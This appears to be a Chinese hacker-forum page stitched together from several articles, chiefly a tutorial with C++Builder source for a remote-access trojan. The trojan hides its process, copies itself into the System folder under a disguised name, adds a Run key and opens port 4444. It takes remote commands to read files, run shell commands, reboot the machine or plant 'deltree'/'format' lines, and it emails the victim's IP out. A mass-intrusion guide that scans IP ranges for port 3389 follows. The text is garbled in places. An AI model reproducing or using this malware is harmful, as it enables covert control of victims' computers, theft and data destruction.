黑客业务

黑客基地,黑客教程,网络黑客,黑客论坛,黑客培训

win黑客原理(黑客原理与防范)

本文目录一览:

黑客是怎样通过 *** 入侵电脑的?

黑客是入侵别人电脑的 *** 有9种。

1、获取口令

这又有三种 *** :

一是通过 *** 监听非法得到用户口令,这类 *** 有一定的局限性,但危害性极大,监听者往往能够获得其所在网段的所有用户账号和口令,对局域网安全威胁巨大;二是在知道用户的账号后(如电子邮件@前面的部分)利用一些专门软件强行破解用户口令,这种 *** 不受网段限制,但黑客要有足够的耐心和时间;三是在获得一个服务器上的用户口令文件(此文件成为Shadow文件)后,用暴力破解程序破解用户口令,该 *** 的使用前提是黑客获得口令的Shadow文件。

此 *** 在所有 *** 中危害更大,因为它不需要像第二种 *** 那样一遍又一遍地尝试登录服务器,而是在本地将加密后的口令与Shadow文件中的口令相比较就能非常容易地破获用户密码,尤其对那些弱智用户(指口令安全系数极低的用户,如某用户账号为zys,其口令就是zys666、666666、或干脆就是zys等)更是在短短的一两分钟内,甚至几十秒内就可以将其干掉。

2、放置特洛伊木马程序

特洛伊木马程序可以直接侵入用户的电脑并进行破坏,它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载,一旦用户打开了这些邮件的附件或者执行了这些程序之后,它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中,并在自己的计算机系统中隐藏一个可以在Windows启动时悄悄执行的程序。

当您连接到因特网上时,这个程序就会通知黑客,来报告您的IP地址以及预先设定的端口。黑客在收到这些信息后,再利用这个潜伏在其中的程序,就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等,从而达到控制你的计算机的目的。

3、WWW的欺骗技术

在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问,如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在:正在访问的网页已经被黑客篡改过,网页上的信息是虚假的!例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器,当用户浏览目标网页的时候,实际上是向黑 *** 务器发出请求,那么黑客就可以达到欺骗的目的了。

4、电子邮件攻击

电子邮件攻击主要表现为两种方式:

一是电子邮件轰炸和电子邮件“滚雪球”,也就是通常所说的邮件炸弹,指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件,致使受害人邮箱被“炸”,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪;

二是电子邮件欺骗,攻击者佯称自己为系统管理员(邮件地址和系统管理员完全相同),给用户发送邮件要求用户修改口令(口令可能为指定字符串)或在貌似正常的附件中加载病毒或其他木马程序(据笔者所知,某些单位的 *** 管理员有定期给用户免费发送防火墙升级程序的义务,这为黑客成功地利用该 *** 提供了可乘之机),这类欺骗只要用户提高警惕,一般危害性不是太大。

5、通过一个节点来攻击其他节点

黑客在突破一台主机后,往往以此主机作为根据地,攻击其他主机(以隐蔽其入侵路径,避免留下蛛丝马迹)。他们可以使用 *** 监听 *** ,尝试攻破同一 *** 内的其他主机;也可以通过IP欺骗和主机信任关系,攻击其他主机。这类攻击很狡猾,但由于某些技术很难掌握,如IP欺骗,因此较少被黑客使用。

6、 *** 监听

*** 监听是主机的一种工作模式,在这种模式下,主机可以接受到本网段在同一条物理通道上传输的所有信息,而不管这些信息的发送方和接受方是谁。此时,如果两台主机进行通信的信息没有加密,只要使用某些 *** 监听工具,例如NetXray for windows 95/98/nt,sniffit for linux 、solaries等就可以轻而易举地截取包括口令和帐号在内的信息资料。虽然 *** 监听获得的用户帐号和口令具有一定的局限性,但监听者往往能够获得其所在网段的所有用户帐号及口令。

7、寻找系统漏洞

许多系统都有这样那样的安全漏洞(Bugs),其中某些是操作系统或应用软件本身具有的,如Sendmail漏洞,win98中的共享目录密码验证漏洞和IE5漏洞等,这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏,除非你将网线拔掉;还有一些漏洞是由于系统管理员配置错误引起的,如在 *** 文件系统中,将目录和文件以可写的方式调出,将未加Shadow的用户密码文件以明码方式存放在某一目录下,这都会给黑客带来可乘之机,应及时加以修正。

8、利用帐号进行攻击

有的黑客会利用操作系统提供的缺省账户和密码进行攻击,例如许多UNIX主机都有FTP和Guest等缺省账户(其密码和账户名同名),有的甚至没有口令。黑客用Unix操作系统提供的命令如Finger和Ruser等收集信息,不断提高自己的攻击能力。这类攻击只要系统管理员提高警惕,将系统提供的缺省账户关掉或提醒无口令用户增加口令一般都能克服。

9、偷取特权

利用各种特洛伊木马程序、后门程序和黑客自己编写的导致缓冲区溢出的程序进行攻击,前者可使黑客非法获得对用户机器的完全控制权,后者可使黑客获得超级用户的权限,从而拥有对整个 *** 的绝对控制权。这种攻击手段,一旦奏效,危害性极大。

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和 *** 等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和 *** ,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令 *** 。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDON *** )

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NM *** TP1-Connected) NM *** TP1-Disconnect();

file://如果 *** TP服务器已连接则断开

NM *** TP1-Host = " *** tp.163.net";

file://选一个好用的 *** TP服务器,如163、263、sina和btamail

NM *** TP1-UserID = "";

file://你 *** TP的ID

try

{

NM *** TP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NM *** TP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NM *** TP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";

file://将信发到我的邮箱,这一步很关键

NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NM *** TP1-PostMessage-Subject = "Server Runn

Win10最新漏洞被发现,“蠕虫漏洞”到底是怎么入侵电脑的?

我最早使用的电脑系统是windows 98,后来还使用过windows xp、win7,一直到现在的win10。系统在更新换代,它的功能以及用户体验也在逐步提升。电脑的系统一直在更新,它的“老伙伴”漏洞也是紧随其。系统一旦有了漏洞,就有可能被木马或者病毒攻破,从而电脑中的文件就有可能被损坏。

2007年在 *** 上大肆传播传播的“熊猫烧香”,就是一种破坏力极强的病毒。它的可怕之处就是可以通过 *** 自动传播,进入个人电脑之后就会破坏电脑硬盘,修改或删除电脑文件。“熊猫烧香”是一种蠕虫病毒的变种,而且经过了多次变异。

这种变种病毒还可以通过局域网传播,这问题就很严重了。假如局域网中的一台电脑通过移动介质感染了蠕虫病毒,它就会通过局域网将整个网段内的电脑都感染了。而局域网一般都是公司使用的,一旦感染病毒,其影响是不可估量的。

大多数的病毒或者木马都是通过 *** 入侵电脑的。

电脑的出现方便了我们的工作和生活,它已经是我们不可或缺的一种工具。只要是能上互联网的电脑,全都是在一个大的 *** 环境中。如果有人恶意制造病毒,然后在 *** 上传播病毒,当我们打开一些网站或者是下载一些程序的时候,我们的电脑就有可能会被病毒感染。

移动介质也是病毒传播的一种途径,它也可以将病毒带到我们的电脑上。

常见的移动介质有光盘、U盘、移动硬盘等等,我们日常工作或生活中会经常用到它们。当我们用移动介质从一台电脑拷贝文件的时候,如果这台电脑有病毒或者木马,移动介质就会被感染。此时我们把被感染的移动介质插到别的电脑上,这台电脑也会被感染。

如何抓黑客侵入Windows系统

黑客通常是不用软件的形式进行攻击的。

解释:黑客一般直接编写命令程序或者通过命令直接攻击。

备注:如果用户都知道软件木马的话,都下载攻击别人电脑,这个是难以控制的。计算机木马 一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。 (1)硬件部分:建立木马连接所必须的硬件实体。控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的 *** 载体。 (2)软件部分:实现远程控制所必须的软件程序。控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。 (3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的 *** 地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。 用木马这种黑客工具进行 *** 入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。 一.配置木马 一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能: (1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。 (2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICQ号等等,具体的我们将在“信息反馈”这一节中详细介绍。 【二、传播木马】 (1)传播方式: 木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出去,收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为名义,将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。 (2)伪装方式: 鉴于木马的危害性,很多人对木马知识还是有一定了解的,这对木马的传播起了一定的抑 *** 用,这 是木马设计者所不愿见到的,因此他们开发了多种功能来伪装木马,以达到降低用户警觉,欺骗用户的目的。 (一)修改图标 当你在E-MAIL的附件中看到这个图标时,是否会认为这是个文本文件呢?但是我不得不告 诉你,这也有可能是个木马程序,现在 已经有木马可以将木马服务端程序的图标改成HTML,TXT, ZIP等各种文件的图标,这有相当大的迷 惑性,但是目前提供这种功能的木马还不多见,并且这种 伪装也不是无懈可击的,所以不必整天提心吊胆,疑神疑鬼的。 (二)捆绑文件 这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情况下,偷偷的进入了系统。至于被捆绑的文件一般是可执行文件(即EXE,COM一类的文件)。 (三)出错显示 有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序,木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务端用户打开木马程序时,会弹出一个错误提示框(这当然是假的),错误内容可自由 定义,大多会定制成 一些诸如“文件已破坏,无法打开的!”之类的信息,当服务端用户信以 为真时,木马却悄悄侵入了系统。 (四)定制端口 (五)自我销毁 这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后,木马会将自己拷贝到WINDOWS的系统文件夹中(C:WINDOWS或C:WINDOWSSYSTEM目录下),一般来说 原木马文件 和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来 收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木马后,原木马文件将自动销毁,这样服务端用户就很难找到木马的来源,在没有查杀木马的工 具帮助下,就很难删除木马了。傻瓜级入侵

之所以说这是傻瓜级,因为这个 *** 完全不用动脑子,并且保守的说,照这个 *** ,两个小时内肯定至少能入侵3台电脑!3台绝对是保守的数目!

需要软件:WinntAutoAttack (版本:V2.0) Remote Administrator v2.0(简称RA) 3389登陆器(xp自带的有,要是xp,就不要下载了,就是"开始"-"所有程序"-"附件"-"通讯"-"远程桌面连接"

不知道在哪下?用百度搜!我最不喜欢的就是当在群里我告诉别人用什么软件后,他还喋喋不休的问我"在哪下?把地址给我吧",太懒了吧,难道下载地址在我脑子里?我不也是要搜吗?

好了,下边我们开始入侵了,下边就是过程:

之一步. 打开WinntAutoAttack,就是那个手雷的标志,在"起始ip"里和"目标ip"里填上一个ip段,并且尽量把范围搞大点,比如在"起始ip"里填"218.88.1.1",在"目标ip"里填"218.88.255.255".ip段建议下一个显ip的qq,参考你qq上好友的ip去填.中奖概率更大!勾上"仅对ping检查成功的机器进行检测","检测3389端口"和"收集netbios信息"

